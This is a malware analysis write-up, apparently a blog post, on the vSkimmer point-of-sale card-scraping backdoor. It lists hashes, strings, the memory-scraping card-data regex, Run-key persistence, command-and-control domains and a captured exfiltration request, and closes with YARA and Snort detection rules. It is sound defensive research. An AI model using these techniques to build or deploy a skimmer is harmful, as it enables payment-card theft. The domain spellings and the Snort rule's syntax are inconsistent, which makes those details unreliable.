

Backdoor: Win32/Hesetox.A: vSkimmer POS Malware Analysis

By Author

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Source: VirusShare

Malware Family: RAM Scraper

Static Analysis Tools: pestudio, CFF Explorer, PEID, BinText, IDA Pro

Dynamic Analysis Tools: pexplorer, ProcMon, RegShot, ProcDump, Autoruns, Wireshark, Sandboxie, Comodo

Reports:

(1) Comodo:

<http://camas.comodo.com/cgi-bin/submit?file=e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a>

(2) VirusTotal:

<https://www.virustotal.com/en/file/e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a/analysis/1451089742>

I. Static Analysis:

Target machine: Intel 386 or later processors and compatible processors

Compilation Timestamp: 2012-12-21 23:30:50

Entry Point: 0x00009D12

File type: Win32 EXE

Number of Sections: 5

MD5: 53950faf49ccb19b83b786eadedfe591

SHA256: e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a

File size: 224.5 KB (229888 bytes)

Detection ratio: 47 / 54

PE imports:

[+] [ADVAPI32.dll](#)

[+] [KERNEL32.DLL](#)

[+] [SHELL32.dll](#)

[+] [USER32.dll](#)

[+] [WS2_32.dll](#)

[+] [Urlmon.dll](#)

Red Flags:

The file transfers control to a Debugger.

The count (13) of Authorization functions reached the maximum (1) threshold.

The count (9) of Registry functions reached the maximum (1) threshold.

The count (15) of Memory Management functions reached the maximum (1) threshold.

The count (5) of Tool Help functions reached the maximum (1) threshold.

The count (3) of Error Handling functions reached the maximum (1) threshold.

The count (7) of Debugging functions reached the maximum (1) threshold.

The count (9) of Console functions reached the maximum (1) threshold.

The count (11) of Dynamic-Link Library functions reached the maximum (1) threshold.

- The count (35) of Process and Thread functions reached the maximum (1) threshold.
- The count (5) of SEH functions reached the maximum (1) threshold.
- The count (19) of File Management functions reached the maximum (1) threshold.
- The count (134) of blacklisted strings reached the maximum (30) threshold.
- The count (8) of deprecated imported functions reached the maximum (5) threshold.
- The count (78) of imported blacklisted functions reached the maximum (1) threshold.
- The first section (name:.text) is writable.
- The last section (name:.reloc) is executable.
- The count (2) of Writable and Executable sections reached the maximum (0) threshold.
- The file contains self-modifying code.
- The count (2) of executable sections reached the maximum (1) threshold.
- The file references a URL (www.wrotjywpzpwctb.in) unknown by virustotal.
- The count (7) of antidebug imported functions reached the maximum (1) threshold.
- The file modifies the registry.
- The file references child Processes.
- The file opts for Address Space Layout Randomization (ASLR) as mitigation technique.
- The file checksum (0x00000000) is invalid.
- The file has no Version.
- The file is not signed with a Digital Certificate.
- *The file references 1 MIME64 encoding string(s).

Here some interesting strings:

ascii	64	.text:0x1AA1D	x	ABCDEFGHIJKLMNPOQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
ascii	45	.text:0x1BCDC	x	SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ascii	116	.text:0x1BD0A	x	SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
ascii	11	.text:0x1BDB8	x	svchost.exe
ascii	7	.text:0x1BDC4	x	svchost
ascii	16	.text:0x1BF1C	x	SeDebugPrivilege
ascii	13	.text:0x1C1E8	x	compliant.dat
ascii	12	.text:0x1C229	x	explorer.exe
ascii	10	.text:0x1C239	x	ctfmon.exe
ascii	12	.text:0x1C247	x	mscorsvw.exe
ascii	7	.text:0x1C255	x	alg.exe
ascii	11	.text:0x1C260	x	wscntfy.exe
ascii	11	.text:0x1C26C	x	spoolsv.exe
ascii	9	.text:0x1C278	x	lsass.exe
ascii	12	.text:0x1C282	x	services.exe
ascii	12	.text:0x1C291	x	winlogon.exe
ascii	9	.text:0x1C2A1	x	csrss.exe
ascii	8	.text:0x1C2AE	x	smss.exe
ascii	6	.text:0x1C2B9	x	System
ascii	8	.text:0x1C2C3	x	dmpz.log
ascii	29	.text:0x1C39F	x	User-Agent: PCICompliant/3.33
ascii	7	.text:0x1C473	x	FisFree
ascii	11	.text:0x1CF44	x	FisSetValue
ascii	11	.text:0x1CF50	x	FisGetValue
ascii	8	.text:0x1CF5C	x	FisAlloc
ascii	23	.rdata:0x1D084	x	GetProcessWindowStation
ascii	24	.rdata:0x1D09C	x	GetObjectInformation
ascii	18	.rdata:0x1D0B6	x	GetLastActivePopup
ascii	7	.rdata:0x1E949	x	chinese
ascii	6	.rdata:0x1ECF1	x	system
ascii	11	.rdata:0x1EF25	x	Broken pipe
ascii	17	.rdata:0x1F078	x	Permission denied

ascii	48	.text:0x1C1F6	-	\?[3-9]{1}[0-9]{12,19}[D=\u0061][0-9]{10,30}\??
ascii	10	.text:0x1C2E1	-	KARTOXA007
ascii	4	.text:0x1C2EF	-	&zy=
ascii	4	.text:0x1C359	-	upd
ascii	4	.text:0x1C379	-	dlx
ascii	5	.text:0x1C385	-	<cmd>
ascii	6	.text:0x1C392	-	</cmd>
ascii	9	.text:0x1C3C0	-	HTTP/1.1

ascii	11	.text:0x1BC99	-	MachineGuid
ascii	31	.text:0x1BCA8	-	SOFTWARE\Microsoft\Cryptography
ascii	19	.text:0x1BCC8	-	PCI Compliant SCard
ascii	15	.text:0x1BD85	-	%s*:Enabled:%s
ascii	4	.text:0x1BD98	-	open
ascii	5	.text:0x1BD9D	-	%s\%s
ascii	15	.text:0x1BDA6	-	Heistenberg2337

Here is the Regular Expression that extracts credit card data from memory:

`:[3-9]{1}[0-9]{12,19}[D=\u0061][0-9]{6,20}`

II. Dynamic Analysis:

Whitelisted the following processes during the RAM scraping function:

.rdata:0041D7D0	aCorruptedRegex	db 'corrupted regex pattern',0	; DATA XREF: .text:00406B5Bfo
.rdata:0041D7E8	aCompliant_dat	db 'compliant.dat',0	; DATA XREF: sub_40747F+135fo
.rdata:0041D7E8			; sub_4079EB+EAfo
.rdata:0041D7F6		align 4	
.rdata:0041D7F8	a?391091219DU00	db '\?[3-9]{1}[0-9]{12,19}[D=\u0061][0-9]{10,30}\??',0	
.rdata:0041D7F8			; DATA XREF: sub_40747F+D3fo
.rdata:0041D829		align 4	
.rdata:0041D82C	aExplorer_exe	db 'explorer.exe',0	; DATA XREF: sub_40773D+172fo
.rdata:0041D839		align 4	
.rdata:0041D83C	aCtfmon_exe	db 'ctfmon.exe',0	; DATA XREF: sub_40773D+15Bfo
.rdata:0041D847		align 4	
.rdata:0041D848	aMscorsvw_exe	db 'mscorsvw.exe',0	; DATA XREF: sub_40773D+144fo
.rdata:0041D855		align 4	
.rdata:0041D858	aAlg_exe	db 'alg.exe',0	; DATA XREF: sub_40773D+12Dfo
.rdata:0041D860	aWscntfy_exe	db 'wscntfy.exe',0	; DATA XREF: sub_40773D+116fo
.rdata:0041D86C	aSpoolsv_exe	db 'spoolsv.exe',0	; DATA XREF: sub_40773D+FBfo
.rdata:0041D878	aLsass_exe	db 'lsass.exe',0	; DATA XREF: sub_40773D+C5fo
.rdata:0041D882		align 4	
.rdata:0041D884	aServices_exe	db 'services.exe',0	; DATA XREF: sub_40773D+AAfo
.rdata:0041D891		align 4	
.rdata:0041D894	aWinlogon_exe	db 'winlogon.exe',0	; DATA XREF: sub_40773D+8Ffo
.rdata:0041D8A1		align 4	
.rdata:0041D8A4	aCsrss_exe	db 'csrss.exe',0	; DATA XREF: sub_40773D+74fo

Created mutex "Heistenberg2337"

.text:0040173C	add	esp, 20h	
.text:0040173F	push	offset aHeistenberg233 ; "Heistenberg2337"	
.text:00401744	push	esi ; bInitialOwner	
.text:00401745	push	esi ; lpMutexAttributes	
.text:00401746	call	ds:CreateMutexA	

Launched the following processes:

- e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a.exe 1332
 - svchost.exe 1912
- Explorer.EXE 1420
 - GrooveMonitor.exe 1640

ctfmon.exe 1652

Established drive name "KARTOXA007" and filename for the data as "dmpz.log":

```
.text:00407A60      call     ds:GetVolumeInformationA
.text:00407A66      mov     esi, offset aKartoxa007 ; "KARTOXA007"
.text:00407A6B      lea     edi, [ebp+var_18]
.text:00407A6E      movsd
.text:00407A6F      movsd
.text:00407A70      lea     eax, [ebp+var_18]
.text:00407A73      movsw
.text:00407A75      push   eax
.text:00407A76      lea     eax, [ebp+VolumeNameBuffer]
.text:00407A7C      push   eax
.text:00407A7D      movsb
.text:00407A7E      call   sub_409F60
.text:00407A83      pop     ecx
.text:00407A84      pop     ecx
.text:00407A85      test    eax, eax
.text:00407A87      jnz    loc_407B13
.text:00407A8D      lea     eax, [ebp+var_11C]
.text:00407A93      push   ebx
.text:00407A94      push   eax
.text:00407A95      call   sub_40D6A0
.text:00407A9A      lea     eax, [ebp+var_11C]
.text:00407AA0      push   offset aDmpz_log ; "dmpz.log"
.text:00407AA5      push   eax
```

Established persistence in the following hive as "PCICompliant SCard":

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Anti-Reverse Engineering

details

.reloc with unusual entropies 7.57915704423

source

Static Parser

Dropped files

details

"system.ini" has type "ASCII text, with CRLF line terminators"

source

Dropped File

Network Related

Found potential URL in binary/memory

details

Pattern match: "www.wrotjywpzpwectb.in"

Pattern match: "http://mumbaibuildersforum.com/images/logo.gif"

Pattern match: "http://ucakambulans-tr.com/logo.gif"

Pattern match: "http://gadahospital.com/images/button.gif"
Pattern match: "http://www.revaengg.com/images/logo.gif"
Pattern match: "http://ambulansfabrikasi.com/images/button.gif"
Pattern match: "http://sizinajansiniz.com/logo.gif"
Pattern match: "http://arslanzeminmakina.com/images/button.gif"
Pattern match: "http://theadhyayana.in/image/logo.gif"
Pattern match: "http://www.sanalpetrol.com/logo.gif"
Pattern match: "http://aircharge.in/images/logo.gif"

source

String

Contacts domains

details

"mumbaibuildersforum.com"
"ucakambulans-tr.com"
"gadahospital.com"
"www.revaengg.com"
"sizinajansiniz.com"
"arslanzeminmakina.com"
"theadhyayana.in"
"www.sanalpetrol.com"
"www.turkteknoloji.net"
"aircharge.in"
"ambulansfabrikasi.com"

source

Network Traffic

Uses a User Agent typical for browsers, although no browser was ever launched

details

Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728) and "PCICompliant/3.33nt"

source

Network Traffic

Sends UDP traffic

details

"UDP connection to 200.149.51.210"
"UDP connection to 92.105.5.6"
"UDP connection to 148.120.209.123"
"UDP connection to 201.87.155.227"
"UDP connection to 169.215.181.213"
"UDP connection to 221.125.48.10"
"UDP connection to 201.244.62.163"
"UDP connection to 157.88.233.221"

DNS query:

64.4.10.33:123

www.wrotjywvpzpwectb.in IN A +

HTTP query:

www.wrotjywpzpwectb.in GET /api/process.php?

xy=ZmRlOWE4NTctNjhkNS00Y2Q5LWl1YWUtNmFlMmE0OGY1MTFifGF6fDIuMS4xMnw1LjEuMnxTQU5EQk9YQXxVc2Vy
HTTP/1.1

Suspicious and POS scraping APIs

details

CopyFileA

GetModuleFileNameA

GetModuleHandleA

Sleep

CheckRemoteDebuggerPresent

IsDebuggerPresent

ReadProcessMemory

Process32Next

OpenProcess

Process32First

CreateToolhelp32Snapshot

GetDriveTypeA

CreateFileA

GetVersionExA

GetComputerNameA

CreateFileW

GetCommandLineA

ExitThread

CreateThread

GetProcAddress

GetModuleHandleW

WriteFile

GetModuleFileNameW

GetStartupInfoW

GetTickCount

TerminateProcess

UnhandledExceptionFilter

LoadLibraryW

RegCreateKeyExA

OpenProcessToken

GetUserNameA

RegOpenKeyA

RegCloseKey

ShellExecuteA

URLDownloadToFileA

WSAStartup (Ordinal #115)

socket (Ordinal #23)

connect (Ordinal #4)

send (Ordinal #19)

recv (Ordinal #16)

closesocket (Ordinal #3)

III. Yara Signature:

```
rule Backdoor_Win32_vSkimmer_POS : POS_BDR
{
meta:
    author = "Vitali Kremez"
    date = "2015-12-26"
    description = "Detected vSkimmer POS"
    hash0 = "53950faf49ccb19b83b786eadedfe591"
    sample_filetype = "exe"

strings:
    $mutex = "Heistenberg2337"
    $string0 = "KARTOXA007"
    $string1 = "dmpz.log"
    $string2 = "August"
    $string3 = "www.wrotjywpzpwectb.in"
    $string4 = "$basic_ofstream@DU"
    $string5 = "alg.exe"
    $string6 = "FDPjGS"
    $string7 = "gjP$k-"
    $string8 = " SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    $string9 = "User-Agent: PCICompliant/3.33"
    $string10 = "F\PjMS"
    $string11 = "Ezeb]z"
    $string12 = "j h (B"
    $string13 = "spanish-peru"
    $string14 = "UTF-16LE"
    $string15 = "$basic_streambuf@DU"
    $string16 = "pL $T,"
    $string17 = "This indicates a bug in your application." wide

condition:
    6 of them and all of ($mutex*) and filesize<225KB
}
```

Sourcefire Rule:

```
alert tcp any any -> any any (msg:" vSkimmer POS Backdoor Alert"; flow:to_server,established; content:"/api/process.php?xy="; "www.wrotjywpzpwectb.in"; "mumbaibuildersforum.com"; "ucakambulans-tr.com"; "gadahospital.com"; "www.revaengg.com"; "sizinajansiniz.com"; "arslanzeminmakina.com"; "theadhyayana.in"; "www.sanalpetrol.com"; "www.turkteknoloji.net"; "aircharge.in"; "ambulansfabrikasi.com"; "PCICompliant/3.33nt"; noncase; pcre:"/.*(portal1/gateway.php).*/"; pcre:"/.*(?xy=).*/"; classtype: Trojan-activity)
```

IV: vSkimmer Profile:

Registry Persistence: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Mutex: Heistenberg2337
Gate Path: www.wrotjywpzpwectb.in via /api/process.php?xy=
Flashdrive: KARTOXA007
Logs File: dmpz.log
ProcessName: svchost

Source: <http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis>